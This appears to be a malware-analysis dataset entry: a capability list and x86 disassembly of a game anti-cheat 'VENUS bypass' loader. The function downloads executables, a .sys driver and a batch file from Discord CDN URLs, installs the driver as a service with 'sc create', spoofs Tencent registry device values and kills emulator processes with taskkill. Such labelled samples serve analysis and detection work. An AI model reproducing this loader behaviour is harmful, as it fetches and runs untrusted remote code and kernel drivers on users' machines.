Function at 0x459460
Capabilities:
Delete file
Download url
Execute command
Get session user name
Persist via windows service
Receive data
Self delete
Set console window title
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bfc4a
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x647bb0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0046b530
call fcn.0046b560
push 0xfde9
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea eax, [ebp - 0x164]
mov dword [ebp - 0x164], 0x101
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x138], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4594f0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x148]
call fcn.0045edb0
push 8
push str.welcome
push 0
lea ecx, [ebp - 0x148]
mov dword [ebp - 4], 0
call fcn.0045ecb0
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x160], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x150], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push str._to_venus_bypass
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 1
call fcn.0045d5b0
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x194], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x184], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x14c]
cmp edx, 0x10
jb 0x459601
mov ecx, dword [ebp - 0x160]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4595f7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45964c
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x134]
cmp edx, 0x10
jb 0x45965c
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459652
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459652
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp dword [ebp - 0x180], 0x10
lea eax, [ebp - 0x194]
mov dword [ebp - 0x138], 0
cmovae eax, dword [ebp - 0x194]
push eax
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, eax
lea eax, [ebp - 0x1a4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x1c2
push 0x352
push dword [ebp - 0x1a4]
push dword [ebp - 0x1a0]
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 4
push dword [0x68093c]
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0
push 0
push 0x635bbc
push str.https:__cdn.discordapp.com_attachments_1159574673344962631_1160173313587429426_HOST.txt_ex6533b298is65213d98hmde24ef5aba1b5aebcb07ca9655db7d18105594300d98834e92e28253a48cd516
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xfa0
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xa
push 0x4564d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n________________________________________________________________________________________n___________________________________________________________________n_______________________________________________________________n______________.__________________________________________________n_______________________________________________________________n___________________________________________________________________n_______________________________________________________________________________________n
mov ecx, eax
call fcn.0045fda0
push eax
call fcn.004603c0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 8
push 0xa
push 0x4565f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.STATUS_:_SAFE_2_9__EX_
mov ecx, eax
call fcn.0045fda0
push eax
call fcn.004603c0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 8
push 0x4565f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Bypass_User:
mov ecx, eax
call fcn.0045fda0
push 0x456500
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x1c8], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4597a8
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.0045edb0
mov byte [ebp - 4], 5
lea edx, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
push dword [ebp - 0x11c]
cmovae edx, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x1c8]
call fcn.00464fa0
mov byte [ebp - 4], 4
add esp, 4
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459830
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459826
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459826
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xa
push 0x4565f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n
mov ecx, eax
call fcn.0045fda0
push eax
call fcn.004603c0
add esp, 8
call fcn.00456df0
mov ecx, 0x680970
call fcn.004525c0
call fcn.00457300
test al, al
jne 0x459878
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0xc
push str.C:VENUS.sys
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x634c64
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x4598e2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1bd], 0
jmp 0x4598e9
mov byte [ebp - 0x1bd], 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459925
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45991b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45991b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp byte [ebp - 0x1bd], 0
je 0x459940
push 0
push 0
push str.C:VENUS.sys
push str.https:__cdn.discordapp.com_attachments_1071129404262068225_1075772921278119966_LITE.sys
push 0
call esi
sub esp, 0x18
mov ecx, esp
push 0x34
push str.sc_create_driver_binPath_C:VENUS.sys__typefilesys
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
mov ecx, esp
push 0xf
push str.sc_start_driver
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
push str.C:WindowsExit.bat
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x1c
mov dword [ebp - 0x12c], 0
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
push 7
push str.adb.exe
call fcn.0045edb0
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x634c64
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x459a09
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1bd], 0
jmp 0x459a10
mov byte [ebp - 0x1bd], 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459a4c
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459a42
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459a42
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp byte [ebp - 0x1bd], 0
je 0x459a67
push 0
push 0
push str.adb.exe
push str.https:__cdn.discordapp.com_attachments_1168579366360465502_1171788168870248448_adb.exe_ex655df3c6is654b7ec6hm7da9d55855879ad55367a90cc0469798a6012f803cf45518662d0e1c6db087dc
push 0
call esi
push 0
push 0
push str.AdbWinApi.dll
push str.https:__cdn.discordapp.com_attachments_1168579366360465502_1171788169205784576_AdbWinApi.dll_ex655df3c6is654b7ec6hmdc0bccbab80406df9ad6e13959e2cb9e421272a0588ebda11bb6134846e9a3bb
push 0
call esi
push 0
push 0
push str.adb.exe
push str.https:__cdn.discordapp.com_attachments_1168579366360465502_1171788168870248448_adb.exe_ex655df3c6is654b7ec6hm7da9d55855879ad55367a90cc0469798a6012f803cf45518662d0e1c6db087dc
push 0
call esi
push 0xd
push str.AdbWinApi.dll
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x634c64
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x459af5
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1bd], 0
jmp 0x459afc
mov byte [ebp - 0x1bd], 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459b38
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459b2e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459b2e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp byte [ebp - 0x1bd], 0
je 0x459b53
push 0
push 0
push str.AdbWinApi.dll
push str.https:__cdn.discordapp.com_attachments_1168579366360465502_1171788169205784576_AdbWinApi.dll_ex655df3c6is654b7ec6hmdc0bccbab80406df9ad6e13959e2cb9e421272a0588ebda11bb6134846e9a3bb
push 0
call esi
push 0x13
push str.C:WindowsExit.bat
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x634c64
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x459bbd
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1bd], 0
jmp 0x459bc4
mov byte [ebp - 0x1bd], 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459c00
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459bf6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459bf6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp byte [ebp - 0x1bd], 0
je 0x459c1b
push 0
push 0
push str.C:WindowsExit.bat
push str.https:__cdn.discordapp.com_attachments_899968134805598208_961116692379992084_Kill_All.bat
push 0
call esi
push 0x19
push str.C:WindowsUserCustom.ini
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x634c64
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x459c85
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1bd], 0
jmp 0x459c8c
mov byte [ebp - 0x1bd], 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459cc8
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459cbe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459cbe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp byte [ebp - 0x1bd], 0
je 0x459ce3
push 0
push 0
push str.C:WindowsUserCustom.ini
push str.https:__cdn.discordapp.com_attachments_899968134805598208_961116746457178142_UserCustom.ini
push 0
call esi
push 0x39
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x634c64
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x459d4d
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1bd], 0
jmp 0x459d54
mov byte [ebp - 0x1bd], 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459d90
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459d86
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459d86
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp byte [ebp - 0x1bd], 0
je 0x459dab
push 0
push 0
push str.C:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__cdn.discordapp.com_attachments_1071129404262068225_1072537320168894545_AndroidEmulatorEx.exe
push 0
call esi
push 0x39
push str.D:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x634c64
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x459e15
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1bd], 0
jmp 0x459e1c
mov byte [ebp - 0x1bd], 1
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x459e58
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x459e4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459e4e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
cmp byte [ebp - 0x1bd], 0
je 0x459e73
push 0
push 0
push str.D:Program_FilesTxGameAssistantuiAndroidEmulatorEx.exe
push str.https:__cdn.discordapp.com_attachments_1071129404262068225_1072537320168894545_AndroidEmulatorEx.exe
push 0
call esi
push 0x190
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Select_emulator_:_1_Gameloop__n
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
push 0x190
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Select_Game_:_1_Global__2_Vietnam__3_Bgmi__n
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
push 0x190
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Reset_Device:
mov ecx, eax
call fcn.0045fda0
push 0x4565f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.1__Yes___2__No__n
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
push 0x190
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4565f0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.iPad_View:
mov ecx, eax
call fcn.0045fda0
push 0x4565f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.1__Yes___2__No__n
mov ecx, eax
call fcn.0045fda0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
push 0x190
call edi
mov edx, 0x1c
lea ecx, [ebp - 0x1e0]
call fcn.00458120
push 0x5d
push str.reg_add_HKEY_CURRENT_USERSoftwareTencentMobileGamePC__v_VMDeviceManufacturer__t_REG_SZ__d
push 0
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.0045ecb0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 7
mov esi, esp
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x1c8], esi
push str.__f___nul_2_1
call fcn.0045d5b0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.004579a0
mov byte [ebp - 4], 6
add esp, 0x18
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x45a088
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a07e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a0d3
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x1cc]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x45a0e3
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a0d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a0d9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov edx, 0x14
lea ecx, [ebp - 0x1e0]
call fcn.00458120
push 0x56
push str.reg_add_HKEY_CURRENT_USERSoftwareTencentMobileGamePC__v_VMDeviceModel__t_REG_SZ__d
push 0
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.0045ecb0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 9
mov esi, esp
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x1c8], esi
push str.__f___nul_2_1
call fcn.0045d5b0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.004579a0
mov byte [ebp - 4], 8
add esp, 0x18
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x45a1e3
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a1d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a22e
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x1cc]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x45a23e
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45a234
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a234
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_kill_server
call esi
sub esp, 0x14
mov ecx, esp
push 0x22
push str.taskkill__F__IM_AndroidProcess.exe
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
mov ecx, esp
push 0x20
push str.taskkill__F__IM_ProjectTitan.exe
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
mov ecx, esp
push 0x23
push str.taskkill__F__im_AndroidEmulator.exe
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
mov ecx, esp
push 0x25
push str.taskkill__F__im_AndroidEmulatorEn.exe
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
mov ecx, esp
push 0x25
push str.taskkill__F__im_AndroidEmulatorEx.exe
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
mov ecx, esp
push 0x1c
push str.taskkill__F__im_Gameloop.exe
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
add esp, 0x18
lea ecx, [ebp - 0x1bc]
call fcn.00458a70
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x148]
push 8
mov dword [ebp - 0x148], 0
push str.emulator
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
call fcn.0045edb0
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x1c8], esp
mov ecx, esp
push eax
call fcn.0045d790
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x148]
mov ecx, esp
push eax
call fcn.0045d790
mov byte [ebp - 4], 0xb
call fcn.00458ba0
add esp, 0x30
cmp eax, 0xffffffff
jne 0x45a644
